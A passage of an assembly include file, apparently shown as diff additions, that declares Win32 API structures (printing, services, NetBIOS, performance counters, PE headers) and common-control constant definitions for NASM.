+.lpFileName RESD 1 +.rc RESB RECT_size +ENDSTRUC + +STRUC PRINTER_INFO_1 +.flags RESD 1 +.pDescription RESD 1 +.pName RESD 1 +.pComment RESD 1 +ENDSTRUC + +STRUC PRINTER_INFO_2 +.pServerName RESD 1 +.pPrinterName RESD 1 +.pShareName RESD 1 +.pPortName RESD 1 +.pDriverName RESD 1 +.pComment RESD 1 +.pLocation RESD 1 +.pDevMode RESD 1 +.pSepFile RESD 1 +.pPrintProcessor RESD 1 +.pDatatype RESD 1 +.pParameters RESD 1 +.pSecurityDescriptor RESD 1 +.Attributes RESD 1 +.Priority RESD 1 +.DefaultPriority RESD 1 +.StartTime RESD 1 +.UntilTime RESD 1 +.Status RESD 1 +.cJobs RESD 1 +.AveragePPM RESD 1 +ENDSTRUC + +STRUC PRINTER_INFO_3 +.pSecurityDescriptor RESD 1 +ENDSTRUC + +STRUC JOB_INFO_1 +.JobId RESD 1 +.pPrinterName RESD 1 +.pMachineName RESD 1 +.pUserName RESD 1 +.pDocument RESD 1 +.pDatatype RESD 1 +.pStatus RESD 1 +.Status RESD 1 +.Priority RESD 1 +.Position RESD 1 +.TotalPages RESD 1 +.PagesPrinted RESD 1 +.Submitted RESD 1 +ENDSTRUC + +STRUC JOB_INFO_2 +.JobId RESD 1 +.pPrinterName RESD 1 +.pMachineName RESD 1 +.pUserName RESD 1 +.pDocument RESD 1 +.pNotifyName RESD 1 +.pDatatype RESD 1 +.pPrintProcessor RESD 1 +.pParameters RESD 1 +.pDriverName RESD 1 +.pDevMode RESD 1 +.pStatus RESD 1 +.pSecurityDescriptor RESD 1 +.Status RESD 1 +.Priority RESD 1 +.Position RESD 1 +.StartTime RESD 1 +.UntilTime RESD 1 +.TotalPages RESD 1 +.isize RESD 1 +.Submitted RESD 1 +.time RESD 1 +.PagesPrinted RESD 1 +ENDSTRUC + +STRUC ADDJOB_INFO_1 +.Path RESD 1 +.JobId RESD 1 +ENDSTRUC + +STRUC DRIVER_INFO_1 +.pName RESD 1 +ENDSTRUC + +STRUC DRIVER_INFO_2 +.cVersion RESD 1 +.pName RESD 1 +.pEnvironment RESD 1 +.pDriverPath RESD 1 +.pDataFile RESD 1 +.pConfigFile RESD 1 +ENDSTRUC + +STRUC DOC_INFO_1 +.pDocName RESD 1 +.pOutputFile RESD 1 +.pDatatype RESD 1 +ENDSTRUC + +STRUC FORM_INFO_1 +.pName RESD 1 +.isize RESD 1 +.ImageableArea RESD 1 +ENDSTRUC + +STRUC PRINTPROCESSOR_INFO_1 +.pName RESD 1 +ENDSTRUC + +STRUC PORT_INFO_1 +.pName RESD 1 +ENDSTRUC + +STRUC MONITOR_INFO_1 +.pName RESD 1 +ENDSTRUC + +STRUC MONITOR_INFO_2 +.pName RESD 1 +.pEnvironment RESD 1 +.pDLLName RESD 1 +ENDSTRUC + +STRUC DATATYPES_INFO_1 +.pName RESD 1 +ENDSTRUC + +STRUC PRINTER_DEFAULTS +.pDatatype RESD 1 +.pDevMode RESD 1 +.DesiredAccess RESD 1 +ENDSTRUC + +STRUC PRINTER_INFO_4 +.pPrinterName RESD 1 +.pServerName RESD 1 +.Attributes RESD 1 +ENDSTRUC + +STRUC PRINTER_INFO_5 +.pPrinterName RESD 1 +.pPortName RESD 1 +.Attributes RESD 1 +.DeviceNotSelectedTimeout RESD 1 +.TransmissionRetryTimeout RESD 1 +ENDSTRUC + +STRUC DRIVER_INFO_3 +.cVersion RESD 1 +.pName RESD 1 +.pEnvironment RESD 1 +.pDriverPath RESD 1 +.pDataFile RESD 1 +.pConfigFile RESD 1 +.pHelpFile RESD 1 +.pDependentFiles RESD 1 +.pMonitorName RESD 1 +.pDefaultDataType RESD 1 +ENDSTRUC + +STRUC DOC_INFO_2 +.pDocName RESD 1 +.pOutputFile RESD 1 +.pDatatype RESD 1 +.dwMode RESD 1 +.JobId RESD 1 +ENDSTRUC + +STRUC PORT_INFO_2 +.pPortName RESD 1 +.pMonitorName RESD 1 +.pDescription RESD 1 +.fPortType RESD 1 +.Reserved RESD 1 +ENDSTRUC + +STRUC PROVIDOR_INFO_1 +.pName RESD 1 +.pEnvironment RESD 1 +.pDLLName RESD 1 +ENDSTRUC + +STRUC NETRESOURCE +.dwScope RESD 1 +.dwType RESD 1 +.dwDisplayType RESD 1 +.dwUsage RESD 1 +.lpLocalName RESD 1 +.lpRemoteName RESD 1 +.lpComment RESD 1 +.lpProvider RESD 1 +ENDSTRUC + +STRUC NCB +.ncb_command RESW 1 +.ncb_retcode RESW 1 +.ncb_lsn RESW 1 +.ncb_num RESW 1 +.ncb_buffer RESD 1 +.ncb_length RESW 1 +.ncb_callname RESB NCBNAMSZ +.ncb_name RESB NCBNAMSZ +.ncb_rto RESW 1 +.ncb_sto RESW 1 +.ncb_post RESD 1 +.ncb_lana_num RESW 1 +.ncb_cmd_cplt RESW 1 +.ncb_reserve10 RESB 1 +.ncb_event RESD 1 +ENDSTRUC + +STRUC ADAPTER_STATUS +.adapter_address RESB 6 +.rev_major RESW 1 +.reserved0 RESW 1 +.adapter_type RESW 1 +.rev_minor RESW 1 +.duration RESW 1 +.frmr_recv RESW 1 +.frmr_xmit RESW 1 +.iframe_recv_err RESW 1 +.xmit_aborts RESW 1 +.xmit_success RESD 1 +.recv_success RESD 1 +.iframe_xmit_err RESW 1 +.recv_buff_unavail RESW 1 +.t1_timeouts RESW 1 +.ti_timeouts RESW 1 +.Reserved1 RESD 1 +.free_ncbs RESW 1 +.max_cfg_ncbs RESW 1 +.max_ncbs RESW 1 +.xmit_buf_unavail RESW 1 +.max_dgram_isize RESW 1 +.pending_sess RESW 1 +.max_cfg_sess RESW 1 +.max_sess RESW 1 +.max_sess_pkt_isize RESW 1 +.name_count RESW 1 +ENDSTRUC + +STRUC NAME_BUFFER +.xname RESB NCBNAMSZ +.name_num RESW 1 +.name_flags RESW 1 +ENDSTRUC + +STRUC SESSION_HEADER +.sess_name RESW 1 +.num_sess RESW 1 +.rcv_dg_outstanding RESW 1 +.rcv_any_outstanding RESW 1 +ENDSTRUC + +STRUC SESSION_BUFFER +.lsn RESW 1 +.State RESW 1 +.local_name RESB NCBNAMSZ +.remote_name RESB NCBNAMSZ +.rcvs_outstanding RESW 1 +.sends_outstanding RESW 1 +ENDSTRUC + +STRUC LANA_ENUM +.iLength RESW 1 +.lana RESW 1 +ENDSTRUC + +STRUC FIND_NAME_HEADER +.node_count RESW 1 +.Reserved RESW 1 +.unique_group RESW 1 +ENDSTRUC + +STRUC FIND_NAME_BUFFER +.iLength RESW 1 +.access_control RESW 1 +.frame_control RESW 1 +.destination_addr RESW 1 +.source_addr RESW 1 +.routing_info RESW 1 +ENDSTRUC + +STRUC ACTION_HEADER +.transport_id RESD 1 +.action_code RESW 1 +.Reserved RESW 1 +ENDSTRUC + +STRUC CRGB +.bRed RESB 1 +.bGreen RESB 1 +.bBlue RESB 1 +.bExtra RESB 1 +ENDSTRUC + +STRUC SERVICE_STATUS +.dwServiceType RESD 1 +.dwCurrentState RESD 1 +.dwControlsAccepted RESD 1 +.dwWin32ExitCode RESD 1 +.dwServiceSpecificExitCode RESD 1 +.dwCheckPoint RESD 1 +.dwWaitHint RESD 1 +ENDSTRUC + +STRUC ENUM_SERVICE_STATUS +.lpServiceName RESD 1 +.lpDisplayName RESD 1 +.ServiceStatus RESD 1 +ENDSTRUC + +STRUC QUERY_SERVICE_LOCK_STATUS +.fIsLocked RESD 1 +.lpLockOwner RESD 1 +.dwLockDuration RESD 1 +ENDSTRUC + +STRUC QUERY_SERVICE_CONFIG +.dwServiceType RESD 1 +.dwStartType RESD 1 +.dwErrorControl RESD 1 +.lpBinaryPathName RESD 1 +.lpLoadOrderGroup RESD 1 +.dwTagId RESD 1 +.lpDependencies RESD 1 +.lpServiceStartName RESD 1 +.lpDisplayName RESD 1 +ENDSTRUC + +STRUC SERVICE_TABLE_ENTRY +.lpServiceName RESD 1 +.lpServiceProc RESD 1 +ENDSTRUC + +STRUC LARGE_INTEGER +.lowpart RESD 1 +.highpart RESD 1 +ENDSTRUC + +STRUC PERF_DATA_BLOCK +.Signature RESB 4 +.LittleEndian RESD 1 +.Version RESD 1 +.Revision RESD 1 +.TotalByteiLength RESD 1 +.HeaderiLength RESD 1 +.NumObjectTypes RESD 1 +.DefaultObject RESD 1 +.SystemTime RESD 1 +.PerfTime RESD 1 +.PerfFreq RESD 1 +.PerTime100nSec RESD 1 +.SystemNameiLength RESD 1 +.SystemNameOffset RESD 1 +ENDSTRUC + +STRUC PERF_OBJECT_TYPE +.TotalByteiLength RESD 1 +.DefinitioniLength RESD 1 +.HeaderiLength RESD 1 +.ObjectNameTitleIndex RESD 1 +.ObjectNameTitle RESD 1 +.ObjectHelpTitleIndex RESD 1 +.ObjectHelpTitle RESD 1 +.DetailLevel RESD 1 +.NumCounters RESD 1 +.DefaultCounter RESD 1 +.NumInstances RESD 1 +.CodePage RESD 1 +.PerfTime RESD 1 +.PerfFreq RESD 1 +ENDSTRUC + +STRUC PERF_COUNTER_DEFINITION +.ByteiLength RESD 1 +.CounterNameTitleIndex RESD 1 +.CounterNameTitle RESD 1 +.CounterHelpTitleIndex RESD 1 +.CounterHelpTitle RESD 1 +.DefaultScale RESD 1 +.DetailLevel RESD 1 +.CounterType RESD 1 +.CounterSize RESD 1 +.CounterOffset RESD 1 +ENDSTRUC + +STRUC PERF_INSTANCE_DEFINITION +.ByteiLength RESD 1 +.ParentObjectTitleIndex RESD 1 +.ParentObjectInstance RESD 1 +.UniqueID RESD 1 +.NameOffset RESD 1 +.NameiLength RESD 1 +ENDSTRUC + +STRUC PERF_COUNTER_BLOCK +.ByteiLength RESD 1 +ENDSTRUC + +STRUC COMPOSITIONFORM +.dwStyle RESD 1 +.ptCurrentPos RESB POINT_size +.rcArea RESB RECT_size +ENDSTRUC + +STRUC CANDIDATEFORM +.dwIndex RESD 1 +.dwStyle RESD 1 +.ptCurrentPos RESB POINT_size +.rcArea RESB RECT_size +ENDSTRUC + +STRUC CANDIDATELIST +.dwSize RESD 1 +.dwStyle RESD 1 +.dwCount RESD 1 +.dwSelection RESD 1 +.dwPageStart RESD 1 +.dwPageSize RESD 1 +.dwOffset1 RESD 1 +ENDSTRUC + +STRUC STYLEBUF +.dwStyle RESD 1 +.szDescription RESB STYLE_DESCRIPTION_SIZE +ENDSTRUC + +STRUC MODEMDEVCAPS +.dwActualSize RESD 1 +.dwRequiredSize RESD 1 +.dwDevSpecificOffset RESD 1 +.dwDevSpecificSize RESD 1 +.dwModemProviderVersion RESD 1 +.dwModemManufacturerOffset RESD 1 +.dwModemManufacturerSize RESD 1 +.dwModemModelOffset RESD 1 +.dwModemModelSize RESD 1 +.dwModemVersionOffset RESD 1 +.dwModemVersionSize RESD 1 +.dwDialOptions RESD 1 +.dwCallSetupFailTimer RESD 1 +.dwInactivityTimeout RESD 1 +.dwSpeakerVolume RESD 1 +.dwSpeakerMode RESD 1 +.dwModemOptions RESD 1 +.dwMaxDTERate RESD 1 +.dwMaxDCERate RESD 1 +.abVariablePortion RESB 1 +ENDSTRUC + +STRUC MODEMSETTINGS +.dwActualSize RESD 1 +.dwRequiredSize RESD 1 +.dwDevSpecificOffset RESD 1 +.dwDevSpecificSize RESD 1 +.dwCallSetupFailTimer RESD 1 +.dwInactivityTimeout RESD 1 +.dwSpeakerVolume RESD 1 +.dwSpeakerMode RESD 1 +.dwPreferredModemOptions RESD 1 +.dwNegotiatedModemOptions RESD 1 +.dwNegotiatedDCERate RESD 1 +.abVariablePortion RESB 1 +ENDSTRUC + +STRUC DRAGINFO +.uSize RESD 1 +.pt RESB POINT_size +.fNC RESD 1 +.lpFileList RESD 1 +.grfKeyState RESD 1 +ENDSTRUC + +STRUC APPBARDATA +.cbSize RESD 1 +.hwnd RESD 1 +.uCallbackMessage RESD 1 +.uEdge RESD 1 +.rc RESB RECT_size +.lParam RESD 1 +ENDSTRUC + +STRUC SHFILEOPSTRUCT +.hwnd RESD 1 +.wFunc RESD 1 +.pFrom RESD 1 +.pTo RESD 1 +.fFlags RESW 1 +.fAnyOperationsAborted RESD 1 +.hNameMappings RESD 1 +.lpszProgressTitle RESD 1 +ENDSTRUC + +STRUC SHNAMEMAPPING +.pszOldPath RESD 1 +.pszNewPath RESD 1 +.cchOldPath RESD 1 +.cchNewPath RESD 1 +ENDSTRUC + +STRUC SHELLEXECUTEINFO +.cbSize RESD 1 +.fMask RESD 1 +.hwnd RESD 1 +.lpVerb RESD 1 +.lpFile RESD 1 +.lpParameters RESD 1 +.lpDirectory RESD 1 +.nShow RESD 1 +.hInstApp RESD 1 +.lpIDList RESD 1 +.lpClass RESD 1 +.hkeyClass RESD 1 +.dwHotKey RESD 1 +.hIcon RESD 1 +.hProcess RESD 1 +ENDSTRUC + +STRUC NOTIFYICONDATA +.cbSize RESD 1 +.hwnd RESD 1 +.uID RESD 1 +.uFlags RESD 1 +.uCallbackMessage RESD 1 +.hIcon RESD 1 +.szTip RESB 64 +ENDSTRUC + +STRUC SHFILEINFO +.hIcon RESD 1 +.iIcon RESD 1 +.dwAttributes RESD 1 +.szDisplayName RESB 1 +.szTypeName RESB 80 +ENDSTRUC + +STRUC VS_FIXEDFILEINFO +.dwSignature RESD 1 +.dwStrucVersion RESD 1 +.dwFileVersionMS RESD 1 +.dwFileVersionLS RESD 1 +.dwProductVersionMS RESD 1 +.dwProductVersionLS RESD 1 +.dwFileFlagsMask RESD 1 +.dwFileFlags RESD 1 +.dwFileOS RESD 1 +.dwFileType RESD 1 +.dwFileSubtype RESD 1 +.dwFileDateMS RESD 1 +.dwFileDateLS RESD 1 +ENDSTRUC + +STRUC ICONMETRICS +.cbSize RESD 1 +.iHorzSpacing RESD 1 +.iVertSpacing RESD 1 +.iTitleWrap RESD 1 +.lfFont RESD 1 +ENDSTRUC + +STRUC HELPINFO +.cbSize RESD 1 +.iContextType RESD 1 +.iCtrlId RESD 1 +.hItemHandle RESD 1 +.dwContextId RESD 1 +.MousePos RESD 1 +ENDSTRUC + +STRUC ANIMATIONINFO +.cbSize RESD 1 +.iMinAnimate RESD 1 +ENDSTRUC + +STRUC MINIMIZEDMETRICS +.cbSize RESD 1 +.iWidth RESD 1 +.iHorzGap RESD 1 +.iVertGap RESD 1 +.iArrange RESD 1 +.lfFont RESD 1 +ENDSTRUC + +STRUC OSVERSIONINFO +.dwOSVersionInfoSize RESD 1 +.dwMajorVersion RESD 1 +.dwMinorVersion RESD 1 +.dwBuildNumber RESD 1 +.dwPlatformId RESD 1 +.szCSDVersion RESB 128 +ENDSTRUC + +STRUC SYSTEM_POWER_STATUS +.ACLineStatus RESB 1 +.BatteryFlag RESB 1 +.BatteryLifePercent RESB 1 +.Reserved1 RESB 1 +.BatteryLifeTime RESD 1 +.BatteryFullLifeTime RESD 1 +ENDSTRUC + +STRUC NMHDR +.hwndFrom RESD 1 +.idfrom RESD 1 +.code RESD 1 +ENDSTRUC + +STRUC DEVNAMES +.wDriverOffset RESW 1 +.wDeviceOffset RESW 1 +.wOutputOffset RESW 1 +.wDefault RESW 1 +ENDSTRUC + +STRUC PAGESETUPDLGAPI +.lStructSize RESD 1 +.hwndOwner RESD 1 +.hDevMode RESD 1 +.hDevNames RESD 1 +.flags RESD 1 +.ptPaperSize RESB POINT_size +.rtMinMargin RESD 1 +.rtMargin RESD 1 +.hInstance RESD 1 +.lCustData RESD 1 +.lpfnPageSetupHook RESD 1 +.lpfnPagePaintHook RESD 1 +.lpPageSetupTemplateName RESD 1 +.hPageSetupTemplate RESD 1 +ENDSTRUC + +STRUC COMMCONFIG +.dwSize RESD 1 +.wVersion RESW 1 +.wReserved RESW 1 +.dcbx RESD 1 +.dwProviderSubType RESD 1 +.dwProviderOffset RESD 1 +.dwProviderSize RESD 1 +.wcProviderData RESB 1 +ENDSTRUC + +STRUC PIXELFORMATDESCRIPTOR +.nSize RESW 1 +.nVersion RESW 1 +.dwFlags RESD 1 +.iPixelType RESB 1 +.cColorBits RESB 1 +.cRedBits RESB 1 +.cRedShift RESB 1 +.cGreenBits RESB 1 +.cGreenShift RESB 1 +.cBlueBits RESB 1 +.cBlueShift RESB 1 +.cAlphaBits RESB 1 +.cAlphaShift RESB 1 +.cAccumBits RESB 1 +.cAccumRedBits RESB 1 +.cAccumGreenBits RESB 1 +.cAccumBlueBits RESB 1 +.cAccumAlphaBits RESB 1 +.cDepthBits RESB 1 +.cStencilBits RESB 1 +.cAuxBuffers RESB 1 +.iLayerType RESB 1 +.bReserved RESB 1 +.dwLayerMask RESD 1 +.dwVisibleMask RESD 1 +.dwDamageMask RESD 1 +ENDSTRUC + +STRUC DRAWTEXTPARAMS +.cbSize RESD 1 +.iTabiLength RESD 1 +.iLeftMargin RESD 1 +.iRightMargin RESD 1 +.uiiLengthDrawn RESD 1 +ENDSTRUC + +STRUC MENUITEMINFO +.cbSize RESD 1 +.fMask RESD 1 +.fType RESD 1 +.fState RESD 1 +.wID RESD 1 +.hSubMenu RESD 1 +.hbmpChecked RESD 1 +.hbmpUnchecked RESD 1 +.dwItemData RESD 1 +.dwTypeData RESD 1 +.cch RESD 1 +ENDSTRUC + +STRUC SCROLLINFO +.cbSize RESD 1 +.fMask RESD 1 +.nMin RESD 1 +.nMax RESD 1 +.nPage RESD 1 +.nPos RESD 1 +.nTrackPos RESD 1 +ENDSTRUC + +STRUC MSGBOXPARAMS +.cbSize RESD 1 +.hwndOwner RESD 1 +.hInstance RESD 1 +.lpszText RESD 1 +.lpszCaption RESD 1 +.dwStyle RESD 1 +.lpszIcon RESD 1 +.dwContextHelpId RESD 1 +.lpfnMsgBoxCallback RESD 1 +.dwLanguageId RESD 1 +ENDSTRUC + +STRUC DEBUG_EVENT +.dwDebugEventCode RESD 1 +.dwProcessId RESD 1 +.dwThreadId RESD 1 +.u RESD 1 +ENDSTRUC + +STRUC COLORMAP +.cmFrom RESD 1 +.cmTo RESD 1 +ENDSTRUC + +STRUC AuxVol +.vLow RESW 1 +.vHigh RESW 1 +ENDSTRUC + +STRUC DBGTHREAD +.hThread RESD 1 +.lpStartAddress RESD 1 +.bfState RESD 1 +.nNext RESQ 1 +ENDSTRUC + +STRUC DbgProcess +.hDbgHeap RESD 1 +.dwProcessID RESD 1 +.dwThreadID RESD 1 +.hProcess RESD 1 +.hFile RESD 1 +.lpImage RESD 1 +ENDSTRUC + +STRUC IMAGE_DATA_DIRECTORY +.VirtualAddress RESD 1 +.isize RESD 1 +ENDSTRUC + +STRUC IMAGE_OPTIONAL_HEADER +.Magic RESW 1 +.MajorLinkerVersion RESB 1 +.MinorLinkerVersion RESB 1 +.SizeOfCode RESD 1 +.SizeOfInitializedData RESD 1 +.SizeOfUninitializedData RESD 1 +.AddressOfEntryPoint RESD 1 +.BaseOfCode RESD 1 +.BaseOfData RESD 1 +.ImageBase RESD 1 +.SectionAlignment RESD 1 +.FileAlignment RESD 1 +.MajorOperatingSystemVersion RESW 1 +.MinorOperatingSystemVersion RESW 1 +.MajorImageVersion RESW 1 +.MinorImageVersion RESW 1 +.MajorSubsystemVersion RESW 1 +.MinorSubsystemVersion RESW 1 +.Reserved1 RESD 1 +.SizeOfImage RESD 1 +.SizeOfHeaders RESD 1 +.CheckSum RESD 1 +.Subsystem RESW 1 +.DllCharacteristics RESW 1 +.SizeOfStackReserve RESD 1 +.SizeOfStackCommit RESD 1 +.SizeOfHeapReserve RESD 1 +.SizeOfHeapCommit RESD 1 +.LoaderFlags RESD 1 +.NumberOfRvaAndSizes RESD 1 +.DataDirectory RESQ 1 +ENDSTRUC + +STRUC IMAGE_FILE_HEADER +.Machine RESW 1 +.NumberOfSections RESW 1 +.TimeDateStamp RESD 1 +.PointerToSymbolTable RESD 1 +.NumberOfSymbols RESD 1 +.SizeOfOptionalHeader RESW 1 +.Characteristics RESW 1 +ENDSTRUC + +STRUC IMAGE_NT_HEADERS +.Signature RESD 1 +.FileHeader RESD 1 +.OptionalHeader RESD 1 +ENDSTRUC + +STRUC IMAGE_EXPORT_DIRECTORY +.Characteristics RESD 1 +.TimeDateStamp RESD 1 +.MajorVersion RESW 1 +.MinorVersion RESW 1 +.nName RESD 1 +.nBase RESD 1 +.NumberOfFunctions RESD 1 +.NumberOfNames RESD 1 +.AddressOfFunctions RESD 1 +.AddressOfNames RESD 1 +.AddressOfNameOrdinals RESW 1 +ENDSTRUC + +STRUC IMAGE_DOS_HEADER +.e_magic RESW 1 +.e_cblp RESW 1 +.e_cp RESW 1 +.e_crlc RESW 1 +.e_cparhdr RESW 1 +.e_minalloc RESW 1 +.e_maxalloc RESW 1 +.e_ss RESW 1 +.e_sp RESW 1 +.e_csum RESW 1 +.e_ip RESW 1 +.e_cs RESW 1 +.e_lfarlc RESW 1 +.e_ovno RESW 1 +.e_res4 RESW 1 +.e_oemid RESW 1 +.e_oeminfo RESW 1 +.e_res2 RESW 1 +.e_lfanew RESD 1 +ENDSTRUC + +STRUC USER_INFO_3 +.uName RESD 1 +.Password RESD 1 +.PasswordAge RESD 1 +.Privilege RESD 1 +.HomeDir RESD 1 +.Comment RESD 1 +.Flags RESD 1 +.ScriptPath RESD 1 +.AuthFlags RESD 1 +.FullName RESD 1 +.UserComment RESD 1 +.Parms RESD 1 +.Workstations RESD 1 +.LastLogon RESD 1 +.LastLogoff RESD 1 +.AcctExpires RESD 1 +.MaxStorage RESD 1 +.UnitsPerWeek RESD 1 +.LogonHours RESD 1 +.BadPwCount RESD 1 +.NumLogons RESD 1 +.LogonServer RESD 1 +.CountryCode RESD 1 +.CodePage RESD 1 +.UserID RESD 1 +.PrimaryGroupID RESD 1 +.Profile RESD 1 +.HomeDirDrive RESD 1 +.PasswordExpired RESD 1 +ENDSTRUC + +STRUC GROUP_INFO_2 +.uName RESD 1 +.Comment RESD 1 +.GroupID RESD 1 +.Attributes RESD 1 +ENDSTRUC + +;---------------------------comctl equates------------------------------- +%define ODT_HEADER 100 +%define ODT_TAB 101 +%define ODT_LISTVIEW 102 +%define LVM_FIRST 1000h +%define TV_FIRST 1100h +%define HDM_FIRST 1200h +%define NM_OUTOFMEMORY NM_FIRST-1 +%define NM_CLICK NM_FIRST-2 +%define NM_DBLCLK NM_FIRST-3 +%define NM_RETURN NM_FIRST-4 +%define NM_RCLICK NM_FIRST-5 +%define NM_RDBLCLK NM_FIRST-6 +%define NM_SETFOCUS NM_FIRST-7 +%define NM_KILLFOCUS NM_FIRST-8 +%define CCS_TOP 00000001h +%define CCS_NOMOVEY 00000002h +%define CCS_BOTTOM 00000003h +%define CCS_NORESIZE 00000004h +%define CCS_NOPARENTALIGN 00000008h +%define CCS_ADJUSTABLE 00000020h +%define CCS_NODIVIDER 00000040h +%define CCM_FIRST 2000h +%define CCM_SETBKCOLOR CCM_FIRST+1 +%define CCM_SETCOLORSCHEME CCM_FIRST+2 +%define CCM_GETCOLORSCHEME CCM_FIRST+3 +%define CCM_GETDROPTARGET CCM_FIRST+4 +%define CCM_SETUNICODEFORMAT CCM_FIRST+5 +%define CCM_GETUNICODEFORMAT CCM_FIRST+6 +%define LVN_FIRST 0-100 +%define LVN_LAST 0-199 +%define HDN_FIRST 0-300 +%define HDN_LAST 0-399 +%define TVN_FIRST 0-400 +%define TVN_LAST 0-499 +%define TTN_FIRST 0-520 +%define TTN_LAST 0-549 +%define TCN_FIRST 0-550 +%define TCN_LAST 0-580 +%define CDN_FIRST 0-601 +%define CDN_LAST 0-699 +%define TBN_FIRST 0-700 +%define TBN_LAST 0-720 +%define UDN_FIRST 0-721 +%define UDN_LAST 0-740 +%define MCN_FIRST 0-750 +%define MCN_LAST 0-759 +%define DTN_FIRST 0-760 +%define DTN_LAST 0-799 +%define CBEN_FIRST 0-800 +%define CBEN_LAST 0-830 +%define RBN_FIRST 0-831 +%define RBN_LAST 0-859 +%define IPN_FIRST 0-860 +%define IPN_LAST 0-879 +%define SBN_FIRST 0-880 +%define SBN_LAST 0-899 +%define PGN_FIRST 0-900 +%define PGN_LAST 0-950 +%define MSGF_COMMCTRL_BEGINDRAG 4200h +%define MSGF_COMMCTRL_SIZEHEADER 4201h +%define MSGF_COMMCTRL_DRAGSELECT 4202h +%define MSGF_COMMCTRL_TOOLBARCUST 4203h +%define ICC_LISTVIEW_CLASSES 00000001h +%define ICC_TREEVIEW_CLASSES 00000002h +%define ICC_BAR_CLASSES 00000004h +%define ICC_TAB_CLASSES 00000008h +%define ICC_UPDOWN_CLASS 00000010h +%define ICC_PROGRESS_CLASS 00000020h +%define ICC_HOTKEY_CLASS 00000040h +%define ICC_ANIMATE_CLASS 00000080h +%define ICC_WIN95_CLASSES 000000FFh +%define ICC_DATE_CLASSES 00000100h +%define ICC_USEREX_CLASSES 00000200h +%define ICC_COOL_CLASSES 00000400h +%define ICC_INTERNET_CLASSES 00000800h +%define ICC_PAGESCROLLER_CLASS 00001000h +%define ICC_NATIVEFNTCTL_CLASS 00002000h +%define RBIM_IMAGELIST 00000001h +%define RBS_TOOLTIPS 0100h +%define RBS_VARHEIGHT 0200h +%define RBS_BANDBORDERS 0400h +%define RBS_FIXEDORDER 0800h +%define RBS_REGISTERDROP 1000h +%define RBS_AUTOSIZE 2000h +%define RBS_VERTICALGRIPPER 4000h +%define RBS_DBLCLKTOGGLE 8000h +%define RBBS_BREAK 00000001h +%define RBBS_FIXEDSIZE 00000002h +%define RBBS_CHILDEDGE 00000004h +%define RBBS_HIDDEN 00000008h +%define RBBS_NOVERT 00000010h +%define RBBS_FIXEDBMP 00000020h +%define RBBS_VARIABLEHEIGHT 00000040h +%define RBBS_GRIPPERALWAYS 00000080h +%define RBBS_NOGRIPPER 00000100h +%define RBBIM_STYLE 00000001h +%define RBBIM_COLORS 00000002h +%define RBBIM_TEXT 00000004h +%define RBBIM_IMAGE 00000008h +%define RBBIM_CHILD 00000010h +%define RBBIM_CHILDSIZE 00000020h +%define RBBIM_SIZE 00000040h +%define RBBIM_BACKGROUND 00000080h +%define RBBIM_ID 00000100h +%define RBBIM_IDEALSIZE 00000200h +%define RBBIM_LPARAM 00000400h +%define RBBIM_HEADERSIZE 00000800h +%define RB_INSERTBAND WM_USER+1 +%define RB_DELETEBAND WM_USER+2 +%define RB_GETBARINFO WM_USER+3 +%define RB_SETBARINFO WM_USER+4 +%define RB_GETBANDINFO WM_USER+5 +%define RB_SETBANDINFO WM_USER+6 +%define RB_SETPARENT WM_USER+7 +%define RB_HITTEST WM_USER+8 +%define RB_GETRECT WM_USER+9 +%define RB_GETBANDCOUNT WM_USER+12 +%define RB_GETROWCOUNT WM_USER+13 +%define RB_GETROWHEIGHT WM_USER+14 +%define RB_IDTOINDEX WM_USER+16 +%define RB_GETTOOLTIPS WM_USER+17 +%define RB_SETTOOLTIPS WM_USER+18 +%define RB_SETBKCOLOR WM_USER+19 +%define RB_GETBKCOLOR WM_USER+20 +%define RB_SETTEXTCOLOR WM_USER+21 +%define RB_GETTEXTCOLOR WM_USER+22 +%define RB_SIZETORECT WM_USER+23 +%define RB_SETCOLORSCHEME CCM_SETCOLORSCHEME +%define RB_GETCOLORSCHEME CCM_GETCOLORSCHEME +%define RB_BEGINDRAG WM_USER+24 +%define RB_ENDDRAG WM_USER+25 +%define RB_DRAGMOVE WM_USER+26 +%define RB_GETBARHEIGHT WM_USER+27 +%define RB_MINIMIZEBAND WM_USER+30 +%define RB_MAXIMIZEBAND WM_USER+31 +%define RB_GETDROPTARGET CCM_GETDROPTARGET +%define RB_GETBANDBORDERS WM_USER+34 +%define RB_SHOWBAND WM_USER+35 +%define RB_SETPALETTE WM_USER+37 +%define RB_GETPALETTE WM_USER+38 +%define RB_MOVEBAND WM_USER+39 +%define RB_SETUNICODEFORMAT CCM_SETUNICODEFORMAT +%define RB_GETUNICODEFORMAT CCM_GETUNICODEFORMAT +%define RBN_HEIGHTCHANGE RBN_FIRST-0 +%define RBN_GETOBJECT RBN_FIRST-1 +%define RBN_LAYOUTCHANGED RBN_FIRST-2 +%define RBN_AUTOSIZE RBN_FIRST-3 +%define RBN_BEGINDRAG RBN_FIRST-4 +%define RBN_ENDDRAG RBN_FIRST-5 +%define RBN_DELETINGBAND RBN_FIRST-6 +%define RBN_DELETEDBAND RBN_FIRST-7 +%define RBN_CHILDSIZE RBN_FIRST-8 +%define RBNM_ID 00000001h +%define RBNM_STYLE 00000002h +%define RBNM_LPARAM 00000004h +%define RBHT_NOWHERE 0001h +%define RBHT_CAPTION 0002h +%define RBHT_CLIENT 0003h +%define RBHT_GRABBER 0004h +%define CLR_NONE 0FFFFFFFFh +%define CLR_DEFAULT 0FF000000h +%define ILC_MASK 0001h +%define ILC_COLOR 0000h +%define ILC_COLORDDB 00FEh +%define ILC_COLOR4 0004h +%define ILC_COLOR8 0008h +%define ILC_COLOR16 0010h +%define ILC_COLOR24 0018h +%define ILC_COLOR32 0020h +%define ILC_PALETTE 0800h +%define ILD_NORMAL 0000h +%define ILD_TRANSPARENT 0001h +%define ILD_MASK 0010h +%define ILD_IMAGE 0020h +%define ILD_BLEND25 0002h +%define ILD_BLEND50 0004h +%define ILD_OVERLAYMASK 0F00h +%define ILD_SELECTED ILD_BLEND50 +%define ILD_FOCUS ILD_BLEND25 +%define ILD_BLEND ILD_BLEND50 +%define CLR_HILIGHT CLR_DEFAULT +%define HDS_HORZ 00000000h +%define HDS_BUTTONS 00000002h +%define HDS_HIDDEN 00000008h +%define HDI_WIDTH 0001h +%define HDI_HEIGHT HDI_WIDTH +%define HDI_TEXT 0002h +%define HDI_FORMAT 0004h +%define HDI_LPARAM 0008h +%define HDI_BITMAP 0010h +%define HDF_LEFT 0 +%define HDF_RIGHT 1 +%define HDF_CENTER 2 +%define HDF_JUSTIFYMASK 0003h +%define HDF_RTLREADING 4 +%define HDF_OWNERDRAW 8000h +%define HDF_STRING 4000h 